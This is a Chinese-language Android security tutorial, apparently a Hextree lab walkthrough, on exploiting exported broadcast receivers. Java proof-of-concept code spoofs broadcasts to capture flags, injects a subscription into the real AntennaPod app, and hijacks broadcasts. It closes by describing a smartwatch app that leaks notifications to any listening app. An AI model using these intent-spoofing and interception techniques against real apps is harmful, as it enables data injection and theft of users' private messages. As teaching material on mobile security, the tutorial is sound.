再举个例子,比如你拔出耳机的时候系统会发送一个耳机被拔出的广播,一些音乐 APP 接收到这个广播之后就可以去暂停音乐的播放。又比如,安卓系统有一个广播叫做:BOOT_COMPLETED,是系统启动后发出的,APP 可以根据这个广播来设置开机自启动
来通过一个播客 APP 看一下广播接收器:de.danoeh.antennapod
应用程序有两种方式使用广播接收器,一种是通过 AndroidManifest.xml 文件,使用 <receiver> 标签导出;另一种方法是使用 registerReceiver() 动态注册接收器类
通过对该播客 APP 进行逆向,可以找到两种方式

在上面这个 APP 的例子中 de.danoeh.antennapod.spa.SPAReceiver 导出设置为 true,当接收到广播时会先判断是不是:de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 广播动作,如果是则检查是否含有 ACTION_SP_APPS_QUERY_FEEDS_REPSONSE_FEEDS_EXTRA 数据(feeds)如果有则提取订阅列表数据,然后用 FeedDatabaseWriter.updateFeed 更新订阅

因此可以发送一个广播动作 de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 来添加一个订阅,修改 POC 如下:
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
intent.putExtra("feeds", feedUrls);
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
sendBroadcast(intent);
}
});
可以看到当点击按钮后虽然有广播但是禁止调用了,这是安卓 8 中引入的新机制,为了节省电量限制了隐式的广播传递到应用程序

可以通过指定确切的目标来变成显示的广播,这样系统就会传递这个广播给播客 APP 了,因为不会唤醒很多个程序,只针对这一个应用程序
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
intent.putExtra("feeds", feedUrls);
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
intent.setClassName("de.danoeh.antennapod","de.danoeh.antennapod.spa.SPAReceiver");
sendBroadcast(intent);
}
});
这时候就可以在播客列表中看到新增的订阅了

继续看 io.hextree.attacksurface 的这个示例程序,首先看一下 io.hextree.attacksurface.receivers.Flag16Receiver

发现逻辑比较简单,只要接收到的意图中包含额外数据 flag:give-flag-16 即可

因此修改 POC 如下:
Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.putExtra("flag", "give-flag-16");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
sendBroadcast(intent);
}
});

Flag17Receiver 会先接收一个 OrderedBroadcast 然后判断里面有没有 give-flag-17,如果有就调用 flag17Activity 中的 success 函数,通过广播再发回去,因此编写 POC 发送一个广播,然后再监听就可以收到了
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.putExtra("flag", "give-flag-17"); // 关键参数
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.receivers.Flag17Receiver");
sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Bundle result = getResultExtras(true);
boolean ok = result.getBoolean("success", false);
String flag = result.getString("flag", "N/A");
homeText.setText(ok ? flag : "验证失败");
}
}, /* scheduler= */null,
/* initialCode= */ Activity.RESULT_CANCELED,
/* initialData= */null,
/* initialExtras= */null); // 使用有序广播
}
});
Flag18Activity 会往外发送广播,可以自己注册一个广播接收器来接收广播数据,另外这一关还定义了成功的条件是 resultCode 不等于 0

在 AndroidManifest.xml 中新建一个接收器并设置为导出
<receiver
android:name=".HiJackReceiver"
android:enabled="true"
android:exported="true">
</receiver>
此时会提示你新建一个类,在类中接收意图并且提取 flag 并在 logcat 中打印,设置返回值为 2
public class HiJackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
Log.i(BroadcastReceiver.class.getName(), "Flag 18: " + flag);
setResultCode(2);
}
}
在 MainActivity 中注册接收器,然后运行,当点击 Flag 18 时即可在 logcat 中看到了,同时题目通关也可以看到结果
BroadcastReceiver receiver = new HiJackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));

桌面小组件本质上是广播接收器的封装,可以看到在 onReceive 函数判断 action 是否为:APPWIDGET_UPDATE,以及提取 Bundle 数据,对应代码:Bundle bundleExtra = intent.getBundleExtra("appWidgetOptions");
然后解析 bundle 数据中的 appWidgetMaxHeight 和 appWidgetMinHeight 若值符合 1094795585 和 322376503 则通过

因此我们要发送一个广播,action 是 APPWIDGET_UPDATE,包含 bundle 数据,然后就能看到 flag 了
Intent intent = new Intent();
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.setAction("APPWIDGET_UPDATE");
intent.putExtra("appWidgetOptions",bundle);
intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);
通过 jadx 逆向发现这一关卡通过 NotificationCompat.Builder 创建了一个通知消息,当点击该消息上的按钮时会发送一条广播,又因为通过 registerReceiver(new Flag20Receiver(), new IntentFilter(GET_FLAG)); 动态注册了接收器:Flag20Receiver

所以 Flag20Receiver 动态实例会优先接收到这个广播消息,然后解析其中的数据,判断是否包含额外数据 :"give-flag" 若包含则成功

但是因为点击按钮产生的这条广播不带额外的消息,因此是拿不到 flag 的,但是我们可以根据逆向结果,自己构造一个广播发送出去,得到 flag
Intent intent = new Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag", true);
sendBroadcast(intent);
这一关从我们发送广播变成了要接受到目标的广播,通过逆向可知,当我们点击这一关卡创建的通知中的按钮时会将 flag 以广播的形式发送出去,只要我们写一个广播接收器,就可以监听到传回来的 flag 了

因此其实只需要修改 Flag18Activity 的 POC 为:
BroadcastReceiver receiver = new HiJackReceiver();
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GIVE_FLAG"));
点击通知栏的 GET FLAG 按钮就可以在 logcat 中看到 flag
看一个真实的隐患
某款手表的 APP 在接收到应用通知时会创建一个 intent 把消息封装,再通过广播把消息通知发出去,而且是明文的,如果你能够写一个 APP 监听这个广播就可以截获 APP 的消息了


而正常来说想要获取应用通知是需要用户给权限的,也就是说使用这款手表 APP 的用户安装了一个根本不会申请什么权限的 APP 也能把消息偷走

